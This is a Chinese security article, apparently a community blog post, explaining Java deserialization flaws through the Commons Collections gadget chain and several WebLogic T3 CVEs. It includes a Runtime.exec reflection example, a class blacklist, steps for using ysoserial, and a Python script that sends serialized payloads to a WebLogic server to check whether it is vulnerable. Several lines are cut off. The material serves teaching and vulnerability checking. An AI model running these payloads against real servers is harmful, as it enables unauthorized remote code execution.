Java序列化和反序列化

wsygoogol / 2017-12-21 11:14:00 / 浏览数 5048 技术文章 技术文章 顶(0) 踩(0)

Java反序列化

序列化：把对象转换为字节序列的过程。
反序列化：把字节序列恢复为对象的过程。

JDK类库中的序列化API

java.io.ObjectOutputStream代表对象输出流，它的writeObject(Object
obj)方法可对参数指定的obj对象进行序列化，把得到的字节序列写到一个目标输出流中。
java.io.ObjectInputStream代表对象输入流，它的readObject()方法从一个源输入流中读取字节序列，再把它们反序列化为一个对象，并将其返回。

在Java中，对象的序列化与反序列化被广泛应用到RMI(远程方法调用)及网络传输中。

Java序列化数据解析

数据开头为"AC ED 00 05"，数据内容包含了包名与类名、类中包含的变量名称、类型及变量的值。

ava.io.ObjectStreamConstants类中定义了STREAM_MAGIC与STREAM_VERSION，查看JDK1.5、1.6、1.7、1.8的ObjectStreamConstants类，STREAM_MAGIC值均为

影响范围

Breenmachine的这篇blog让java反序列化漏洞得到更多的关注，他介绍了如何利用Java反序列化漏洞，来攻击最新版的WebLogic、WebSphere、JBoss、Jenkins、Oper

漏洞原理

如果Java应用对用户输入，即不可信数据没有进行校验而直接做了反序列化处理，那么攻击者可以通过构造恶意输入，让反序列化产生非预期的对象，非预期的对象在产生过

Apache Commons Collections

Apache Commons
Collections是一个扩展了Java标准库里的Collection结构的第三方基础库，它提供了很多强有力的数据结构类型并且实现了各种集合工具类。作为Apache开源项目的重要组
Collections被广泛应用于各种Java应用的开发。
该漏洞的出现的根源在CommonsCollections组件中对于集合的操作存在可以进行反射调用的方法，并且该方法在相关对象反序列化时并未进行任何校验.
Apache Commons Collections中提供了一个Transformer的类，这个接口的的功能就是把一个对象转换为另一个对象。

图上红框标注的是java反序列化漏洞的poc包含的类。
invokeTransformer：Transformer implementation that creates a new object instance by reflection.（通过反射，返回一个对象）
ChainedTransformer：Transformer implementation that chains the specified transformers
together.（把transformer连接成一条链，对一个对象依次通过链条内的每一个transformer进行转换）
ConstantTransformer：Transformer implementation that returns the same constant each time.（把一个对象转化为常量，并返回）
InvokerTransformer是比较关键的一个类，我们来看看它的实现：

我们可以看到该该方法中采用了反射的方法进行函数调用，Input参数为要进行反射的对象(反射机制就是可以把一个类,类的成员(函数,属性),当成一个对象来操作,希望读者能
POC：

Poc解读：整个poc的逻辑可以这么理解，构建innerMap的键值对，为其赋值，利用Transformed的decorate方法，可以对Map数据结构的key，value进行transform。该
TransformedMap.decoreate(目标map，key的转化对象（null或者单个链），value的转化对象)
poc对innerMap的value进行转换，当innerMap的value执行完一个完整的转换链，就完成了命令执行。

如果Java应用没有对传入的序列化数据进行安全性检查，我们可以将恶意的TransformedMap序列化后，远程提交给Java应用，如果Java应用可以触发变换，即可成功远程
在进行反序列化时，我们会调用ObjectInputStream类的readObject()方法。如果被反序列化的类重写了readObject()，那么该类在进行反序列化时，Java会优先调用重写的
结合前述Commons
Collections的特性，如果某个可序列化的类重写了readObject()方法，并且在readObject()中对Map类型的变量进行了键值修改操作，并且这个Map变量是可控的，就可以
我们观察到java运行库中有这样一个类AnnotationInvocationHandler，这个类有一个成员变量memberValues是Map类型.

AnnotationInvocationHandler的readObject()函数中对memberValues的每一项调用了setValue()函数。

因此，我们只需要使用前面构造的Map来构造AnnotationInvocationHandler，进行序列化，当触发readObject()反序列化的时候，就能实现命令执行。
这段POC本质上就是利用反射调用Runtime() 执行了一段系统命令，作用等同于：

```
((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec("calc.exe");
```

Weblogic Exploit

Oracle Weblogic T3 Deserialization Remote Code Execution Vulnerability
CVE-2015-4852
CVE-2016-0638
CVE-2016-3510
CVE-2017-3248
weblogic
采用T3协议进行序列化数据的传输，可以看到weblogic发送的JAVA序列化数据分为6个部分，第一部分的前四个字节为整个数据包的长度，第2-6部分均为JAVA序列化数据

CVE-2015-4852

blacklist

```
org.apache.commons.collections.functors*
com.sun.org.apache.xalan.internal.xsltc.trax*
javassist*
org.codehaus.groovy.runtime.ConvertedClosure
org.codehaus.groovy.runtime.ConversionHandler
org.codehaus.groovy.runtime.MethodClosure
```

CVE-2015-4852的反序列化的点有三个：

```
weblogic.rjvm.InboundMsgAbbrev.class::ServerChannelInputStream
weblogic.rjvm.MsgAbbrevInputStream.class
weblogic.iiop.Utils.class
```

后面的几个漏洞实质都是对黑名单的一个绕过。

CVE-2016-0638

原理将反序列化的对象封装进了 weblogic.corba.utils.MarshalledObject，然后再对 MarshalledObject 进行序列化，生成 payload 字节码。反序列化时 MarshalledObject 不在 WebLogic 黑名单里，可正常反序列化，在反序列化时 MarshalledObject 对象调用 readObject 时对 MarshalledObject 封装的序列化对象再次反序列化，这样就逃过了黑名单的检查。

CVE-2017-3248

利用了黑名单之外的反序列化类，通过 JRMP 协议达到执行任意反序列化 payload。（Java远程消息交换协议 JRMP 即 Java Remote MessagingProtocol ，是特定于 Java 技术的、用于查找和引用远程对象的协议。这是运行在 Java 远程方法调用 RMI 之下、TCP/IP 之上的线路层协议。）
下面给出一段在tenable找的描述

```
In the case of WebLogic, we are interested in yososerial's JRMPListener.java payload. This serializes a RemoteObjectInvocation
Exploiting WebLogic
To demonstrate the issue to ZDI and Oracle, Tenable created two scripts. The first script is a server that listens for the cal
```

漏洞利用

漏洞利用的步骤：
1.找到一个接受外部输入的序列化对象的接收点，即反序列化漏洞的触发点。
2.应用的Class Path中是否包含Apache Commons Collections库（ysoserial所支持的其他库也行）
3.使用ysoserial来生成反序列化的payload，指定库名和想要执行的命令即可。
4.通过先前找到的传入对象方式进行对象注入，数据中载入payload，触发受影响应用中ObjectInputStream的反序列化操作，随后通过反射调用Runtime.getRunTime.exe
最关键的是用恶意的序列化数据去替换正常的序列化数据

ysoserial

ysoserial

下面给出一个'CVE-2016-0638','CVE-2016-3510','CVE-2017-3248'的无害poc

```
# -*- coding: utf-8 -*-
import socket
import time
import re

#
#  @author iswin@threathunter.org
#  reffer: nessus
#

VUL=['CVE-2016-0638','CVE-2016-3510','CVE-2017-3248']
PAYLOAD=['aced0005737200257765626c6f6769632e6a6d732e636f6d6d6f6e2e53747265616d4d657373616765496d706c6b88de4d93cbd45d0c00007872
VER_SIG=['weblogic.jms.common.StreamMessageImpl','org.apache.commons.collections.functors.InvokerTransformer','\\$Proxy[0-9]+'
```

```
def t3handshake(sock,server_addr):
    sock.connect(server_addr)
    sock.send('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'.decode('hex'))
    time.sleep(1)
    sock.recv(1024)
    print 'handshake successful'

def buildT3RequestObject(sock,port):
    data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720
    data2 = '007e00034c000e72656c65617365556572736696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f41
    data3 = '1a7727000d3234322e323134'
    data4 = '2e312e32353461863d1d0000000078'
    for d in [data1,data2,data3,data4]:
        sock.send(d.decode('hex'))
    time.sleep(2)
    print 'send request payload successful,recv length:%d'%(len(sock.recv(2048)))


def sendEvilObjData(sock,data):
    payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f676963
    payload+=data
    payload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c655365727696365436f6e74657874ddcba8706386f0b
    payload = '%s%s'%('{:08x}'.format(len(payload)/2 + 4),payload)
    sock.send(payload.decode('hex'))
    res = ''
    try:
        while True:
            res += sock.recv(4096)
            time.sleep(0.1)
    except Exception as e:
        pass
    return res

def checkVul(res,server_addr,index):
    p=re.findall(VER_SIG[index], res, re.S)
    if len(p)>0:
        print '%s:%d is vul %s'%(server_addr[0],server_addr[1],VUL[index])
    else:
        print '%s:%d is not vul %s' % (server_addr[0],server_addr[1],VUL[index])


def run(dip,dport,index):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    ##■■■■■■■■■■■■■■■■■■■■■■■15s■■■■■■■■■■
    sock.settimeout(50)
    server_addr = (dip, dport)
    t3handshake(sock,server_addr)
    buildT3RequestObject(sock,dport)
    rs=sendEvilObjData(sock,PAYLOAD[index])
    checkVul(rs,server_addr,index)


if __name__=="__main__":
    dip = '10.8.56.17'
    dport = 7001
    for i in range(0,len(VUL)):
        run(dip,dport,i)
```

漏洞验证环境可以用phith0n牛的weblogic环境：weak_password

上一篇：Java反序列化漏洞利用的学习与实践 下一篇：【渗透技巧】搜集SRC信息中的"技...

1. 0 条回复

- 动动手指，沙发就是你的了！

先知社区

现在登录

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板